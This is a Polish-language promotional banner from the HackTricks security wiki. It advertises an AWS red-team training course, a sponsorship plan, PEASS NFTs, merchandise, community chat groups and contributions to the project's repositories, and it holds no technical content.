Naucz się hakować AWS od zera do bohatera z htARTE (HackTricks AWS Red Team Expert)! * Pracujesz w **firmie zajmującej się cyberbezpieczeństwem**? Chcesz zobaczyć swoją **firmę reklamowaną w HackTricks**? A może chcesz mieć dostęp do **najnowszej wersji PEASS lub pobrać HackTricks w formacie PDF**? Sprawdź [**PLAN SUBSKRYPCJI**](https://github.com/sponsors/carlospolop)! * Odkryj [**Rodzinę PEASS**](https://opensea.io/collection/the-peass-family), naszą kolekcję ekskluzywnych [**NFT**](https://opensea.io/collection/the-peass-family) * Zdobądź [**oficjalne gadżety PEASS & HackTricks**](https://peass.creator-spring.com) * **Dołącz do** [**💬**](https://emojipedia.org/speech-balloon/) [**grupy Discord**](https://discord.gg/hRep4RUj7f) lub [**grupy telegramowej**](https://t.me/peass) lub **śledź** mnie na **Twitterze** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** * **Podziel się swoimi sztuczkami hakerskimi, przesyłając PR-y do repozytorium [hacktricks](https://github.com/carlospolop/hacktricks) i [hacktricks-cloud](https://github.com/carlospolop/hacktricks-cloud)**.